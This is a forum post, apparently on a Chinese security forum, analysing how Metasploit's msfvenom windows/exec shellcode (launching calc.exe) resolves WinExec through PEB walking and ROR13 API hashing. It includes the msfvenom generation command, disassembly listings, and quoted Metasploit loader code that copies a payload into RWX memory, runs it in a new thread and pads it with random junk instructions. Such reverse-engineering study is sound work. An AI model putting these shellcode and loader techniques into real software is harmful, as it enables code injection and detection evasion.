• Welcome to the world's largest Chinese hacker forum

    Welcome to the world's largest Chinese hacker forum, our forum registration is open! You can now register for technical communication with us, this is a free and open to the world of the BBS, we founded the purpose for the study of network security, please don't release business of black/grey, or on the BBS posts, to seek help hacker if violations, we will permanently frozen your IP and account, thank you for your cooperation. Hacker attack and defense cracking or network Security

    business please click here: Creation Security  From CNHACKTEAM

msfvenom生成的windows/exec shellcode分析


Pb2d

Recommended Posts

前言

由于之前就想分析msfvenom生成的payload。经过前后几次波折
第三次分析后才看懂了不少。

分析过程

1.msfvenom生成shellcode
ps:用x86更好的分析

msfvenom -p windows/exec cmd=calc.exe -f raw -o shellcode.bin
  • 1

2.将shellcode放入一个PE里
准备工具:

  • yasm.exe
  • GoLink.exe
    yfWvJf.png

将shellcdoe.bin和shellcode.asm放在同一个目录
shellcode.asm

Global Start
SECTION 'foo' write,execute,read

Start:
incbin "shellcode.bin"

生成obj后在生成exe

yasm.win32.exe -f win32 -o shell.obj shellcode.asm
Golink /ni /entry Start shell.obj
yffFwn.png
yffkoq.png

3.利用IDA分析

yffZWT.png

loc_401088函数分析

msf生成payload的模板对照分析

yff8Fx.png


提一点:msf生成的shellcode模板对应的API是hash( "kernel32.dll", "GetVersion" )
计算公式:

msf的windows API方法:
DLL HASH+API HASH=HASH
如果知道最终hash求对应的API名称,计算公式:HASH-DLL HASH=API HASH
例如:
kernel32.dll HASH->92AF16DA
Winexec HASH->F4C07457

x86截取最后8位
最终hash位:92AF16DA+F4C07457=876F8B31
得到hash反求API hash:876F8B31-92AF16DA=F4C07457
对应API和DLL 的HASH参考:https://github.com/hidd3ncod3s/WindowsAPIhash

https://github.com/rapid7/metasploit-framework/blob/4a380771d3a18011af153e47e1d08a4a83feb452/lib/msf/util/exe.rb#L1803

  def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
    stub_block = Rex::Payloads::Shuffle.from_graphml_file(
      File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
      arch: ARCH_X86,
      name: 'api_call'
    )

    stub_exit = %Q^
    ; Input: EBP must be the address of 'api_call'.
    ; Output: None.
    ; Clobbers: EAX, EBX, (ESP will also be modified)
    ; Note: Execution is not expected to (successfully) continue past this block
    exitfunk:
      mov ebx, 0x0A2A1DE0    ; The EXITFUNK as specified by user...
      push 0x9DBD95A6        ; hash( "kernel32.dll", "GetVersion" )
      call ebp               ; GetVersion(); (AL will = major version and AH will = minor version)
      cmp al, byte 6         ; If we are not running on Windows Vista, 2008 or 7
      jl goodbye       ; Then just call the exit function...
      cmp bl, 0xE0           ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
      jne goodbye      ;
      mov ebx, 0x6F721347    ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
    goodbye:                 ; We now perform the actual call to the exit function
      push byte 0            ; push the exit function parameter
      push ebx               ; push the hash of the exit function
      call ebp               ; call EXITFUNK( 0 );
    ^

    stub_alloc = %Q^
      pushad                 ; Save registers
      cld                    ; Clear the direction flag.
      call start             ; Call start, this pushes the address of 'api_call' onto the stack.
    delta:                   ;
    #{stub_block}
    start:                   ;
      pop ebp                ; Pop off the address of 'api_call' for calling later.
    allocate_size:
       mov esi,#{code.length}
    allocate:
      push byte 0x40         ; PAGE_EXECUTE_READWRITE
      push 0x1000            ; MEM_COMMIT
      push esi               ; Push the length value of the wrapped code block
      push byte 0            ; NULL as we dont care where the allocation is.
      push 0xE553A458        ; hash( "kernel32.dll", "VirtualAlloc" )
      call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
      mov ebx, eax           ; Store allocated address in ebx
      mov edi, eax           ; Prepare EDI with the new address
      mov ecx, esi           ; Prepare ECX with the length of the code
      call get_payload
    got_payload:
      pop esi                ; Prepare ESI with the source to copy
      rep movsb              ; Copy the payload to RWX memory
      call set_handler       ; Configure error handling
    exitblock:
    #{stub_exit}
    set_handler:
      xor eax,eax
;     push dword [fs:eax]
;     mov dword [fs:eax], esp
      push eax               ; LPDWORD lpThreadId (NULL)
      push eax               ; DWORD dwCreationFlags (0)
      push eax               ; LPVOID lpParameter (NULL)
      push ebx               ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
      push eax               ; SIZE_T dwStackSize (0 for default)
      push eax               ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
      push 0x160D6838        ; hash( "kernel32.dll", "CreateThread" )
      call ebp               ; Spawn payload thread
      pop eax                ; Skip
;     pop eax                ; Skip
      pop eax                ; Skip
      popad                  ; Get our registers back
;     sub esp, 44            ; Move stack pointer back past the handler
    ^

    stub_final = %Q^
    get_payload:
      call got_payload
    payload:
    ; Append an arbitrary payload here
    ^


    stub_alloc.gsub!('short', '')
    stub_alloc.gsub!('byte', '')

    wrapper = ""
    # regs    = %W{eax ebx ecx edx esi edi ebp}

    cnt_jmp = 0
    cnt_nop = 64

    stub_alloc.each_line do |line|
      line.gsub!(/;.*/, '')
      line.strip!
      next if line.empty?

      if cnt_nop > 0 && rand(4) == 0
        wrapper << "nop\n"
        cnt_nop -= 1
      end

      if cnt_nop > 0 && rand(16) == 0
        cnt_nop -= 2
        cnt_jmp += 1

        wrapper << "jmp autojump#{cnt_jmp}\n"
        1.upto(rand(8)+1) do
          wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
          cnt_nop -= 1
        end
        wrapper << "autojump#{cnt_jmp}:\n"
      end
      wrapper << line + "\n"
    end

start函数对应分析

yffqcF.png

由于静态call ebp这种找不到对应的地址,通过od来跟踪到loc_401088函数里的call ebp
1.首先栈顶最上放出栈到ebp
2.然后push 1
3.在从堆栈里把calc.exe赋予到eax -> lea eax,[ebp+0B2h]

yfhX28.png


4.push eax,将calc.exe写入到堆栈
5.push Winexec对应的函数
6.然后call栈顶

yfhYEn.png

地址跳转到00401006地址

yfI5KU.png

 

PEB->Ldr->

 mov     edx, fs:[eax+30h] ; 寻找PEB地址
foo:0040100F                 mov     edx, [edx+0Ch]  ; PEB_LDR_DATA
foo:00401012                 mov     edx, [edx+14h]  ; ModuleEntryPoint
foo:00401015
foo:00401015 loc_401015:                             ; CODE XREF: start+86j
foo:00401015                 mov     esi, [edx+28h]  ; 遍历获取某些值的区段
foo:00401018                 movzx   ecx, word ptr [edx+26h]
 xor     edi, edi        ; 清空EDI寄存器
 lodsb                   ; SI的存储值赋予AL
foo:0040101E                                         ; mov eax,[esi]
foo:0040101E                                         ; df=1;SI+1 else SI-1

yf78DU.png

寻找对应API的函数

0040101E   > /AC            lods byte ptr ds:[esi]
0040101F   . |3C 61         cmp al,0x61
00401021   . |7C 02         jl short shell.00401025
00401023   . |2C 20         sub al,0x20
00401025   > |C1CF 0D       ror edi,0xD
00401028   . |01C7          add edi,eax
0040102A   .^\E2 F2         loopd short shell.0040101E
0040102C   .  52            push edx
0040102D   .  57            push edi
0040102E   .  8B52 10       mov edx,dword ptr ds:[edx+0x10]          ;  shell.00400000
00401031   .  8B4A 3C       mov ecx,dword ptr ds:[edx+0x3C]
00401034   .  8B4C11 78     mov ecx,dword ptr ds:[ecx+edx+0x78]
00401038   .  E3 48         jecxz short shell.00401082
0040103A   .  01D1          add ecx,edx
0040103C   .  51            push ecx
0040103D   .  8B59 20       mov ebx,dword ptr ds:[ecx+0x20]
00401040   .  01D3          add ebx,edx
00401042   .  8B49 18       mov ecx,dword ptr ds:[ecx+0x18]
00401045   >  E3 3A         jecxz short shell.00401081
00401047   .  49            dec ecx
00401048   .  8B348B        mov esi,dword ptr ds:[ebx+ecx*4]
0040104B   .  01D6          add esi,edx
0040104D   .  31FF          xor edi,edi
0040104F   >  AC            lods byte ptr ds:[esi]
00401050   .  C1CF 0D       ror edi,0xD
00401053   .  01C7          add edi,eax
00401055   .  38E0          cmp al,ah
00401057   .^ 75 F6         jnz short shell.0040104F
00401059   .  037D F8       add edi,dword ptr ss:[ebp-0x8]
0040105C   .  3B7D 24       cmp edi,dword ptr ss:[ebp+0x24]
0040105F   .^ 75 E4         jnz short shell.00401045

最后得到的API函数地址赋于eax

00401075   .  894424 24     mov dword ptr ss:[esp+0x24],eax          ;  kernel32.WinExec
  • 1
yfbU6x.png

最后jmp eax对应的地址执行

yfbIAg.png

执行完WinExec函数后,执行GetVersion判断退出操作

yhnum6.png
yhnY6I.png
yhna0f.png

简写成一个过程:
PEB->ModuleEntryPoint->找到Kernel32.dll->WinExec->lea eax->call->Exit

参考链接

https://github.com/rapid7/metasploit-framework/blob/4a380771d3a18011af153e47e1d08a4a83feb452/lib/msf/util/exe.rb#L1803
https://www.anquanke.com/post/id/85386
http://9b113d1a.blogspot.com/2017/03/les-hash-composite-couplemodulefunction.html
https://my.oschina.net/u/4593082/blog/4418768

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now